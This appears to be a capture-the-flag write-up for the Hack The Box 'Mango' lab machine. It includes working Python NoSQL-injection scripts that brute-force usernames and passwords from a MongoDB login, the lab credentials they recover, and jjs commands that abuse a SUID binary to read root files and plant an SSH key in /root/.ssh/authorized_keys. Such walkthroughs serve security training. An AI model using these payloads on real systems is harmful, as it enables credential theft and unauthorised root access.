Mango
The Basics
The first thing we should do is map the box IP address to the box name .htb in the /etc/hosts
file.
10.10.10.162 mango.htb
Initial Scan
Next up we can try running our standard NMAP scan nmap -sC -sV mango.htb
but we won’t get very far with that, so we decide to do a stealth scan instead and treat the host as online using nmap -sS -Pn mango.htb
. We get results back for 3 ports: 22 SSH open, 80 HTTP open and 443 HTTPS open.
Web enumeration
Looking at the NMAP results, we most likely have a web application running on both HTTP 80 and HTTPS 443, so we fire up gobuster and take a manual look at the web app.
While trying to run gobuster on https://mango.htb
we get an interesting error message:
gobuster is telling us the SSL certificate for https://mango.htb
is invalid, but it is valid for https://staging-order.mango.htb
. Interesting, let’s add staging-order.mango.htb
to our /etc/hosts
file and point it back at 10.10.10.162
. At first glance there’s nothing interesting at https://staging-order.mango.htb
, the web page resembles Google Search and we can visit /analytics.php
which gives us a bunch of errors regarding a key for *.codepen.io
. This looks to be a dead end.
However, the web server also serves content over HTTP on port 80, so let’s give that a try: http://staging-order.mango.htb
. We get a nice looking login page, when we try to login with some fake credentials not much happens. The page refreshes without any errors or warning messages.
We decide to run gobuster in the background on the virtual host to see if there’s anything else going on, meanwhile we set up Hydra to try attack the webform.
Looking at the gobuster results, /vendor
grabs our attention, and after some quick googling we find out /vendor
is used by Composer and it often contains /composer/installed.json
. Inspecting the installed.json
file, we can quickly see references to MongoDB and mongo-php-adapter. Interesting, let’s test the index.php
login page for NoSQL injection.
Enumerating MongoDB for usernames and passwords
A quick google for NoSQL injection will find us PayLoadsAllTheThings GitHub repository. We need to modify the Post with JSON body script to fit our needs and enumerate both usernames and passwords.
extract-usernames.py
import time
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username=""
password="cerbersec"
u="http://staging-order.mango.htb/index.php"
headers={'Content-Type' : 'application/x-www-form-urlencoded'}
while True:
for c in string.printable:
if c not in ['*','.','+','?','^','|','}']:
payload= { 'username[$regex]' : "^" + username + c, 'password[$ne]' : password, "login" : "login" }
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (username+c))
username += c
extract-passwords.py
import time
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="cerbersec"
password=""
u="http://staging-order.mango.htb/index.php"
headers={'Content-Type' : 'application/x-www-form-urlencoded'}
while True:
for c in string.printable:
if c not in ['*','.','+','?','^','|','}']:
payload= { 'username[$ne]' : username, 'password[$regex]' : "^" + password + c, "login" : "login" }
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
By modifying the username
and password
parameters as we gradually discover usernames and passwords we are eventually able to extract two usernames and two passwords.
Username | Password |
---|---|
admin | t9KcS3>!0B#2 |
mango | h3mXK8RhU~f{]f5H |
Getting user via horizontal privesc
Now that we’ve got some credentials, it’s time to find where to use them. When we log in on the web app we get redirected to home.php
which is “Under Plantation”, another dead end.
Trying SSH for admin results in a permission denied, but ssh mango@mango.htb
seems to work with the password and we get our initial shell.
The first thing we can do when we get our initial shell, is checkout the /home
directory. A quick ls -la
tells us there are two users, mango and admin. No surprises here. Upon further inspection of their home directories we can see the user.txt
flag is locked away in /home/admin
and only readable by admin.
Since we have credentials for admin let’s try a simple horizontal privilage escalation with su admin
. After entering the password for admin we can use bash
to upgrade to a proper shell and grab the user.txt
flag from /home/admin
.
Getting root via jjs code execution
Time to move on to root. After some quick initial recon there’s nothing that immediatly grabs our attention, so we should run LinEnum. It tells us it found an interesting SUID file /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
.
A quick google for jjs privesc tells us jjs
can be exploited on GTFOBins. We can try to get a shell or reverse shell, but since it returns errors we move on. Another interesting angle could be reading and writing files, so let’s give that a go.
File Write
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("DATA");
fw.close();' | jjs
File Read
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
Using the File Read commands we can easily read /root/root.txt
and grab the root flag.
Root Shell
To get a root shell we upload a SSH key to authorized_keys
. We use ssh-keygen -t rsa
to generate a new key pair and write the contents of id_rsa.pub
to /root/.ssh/authorized_keys
using the fw.write();
function.
Now we can use ssh root@mango.htb -i id_rsa
to log in as root and get our root shell.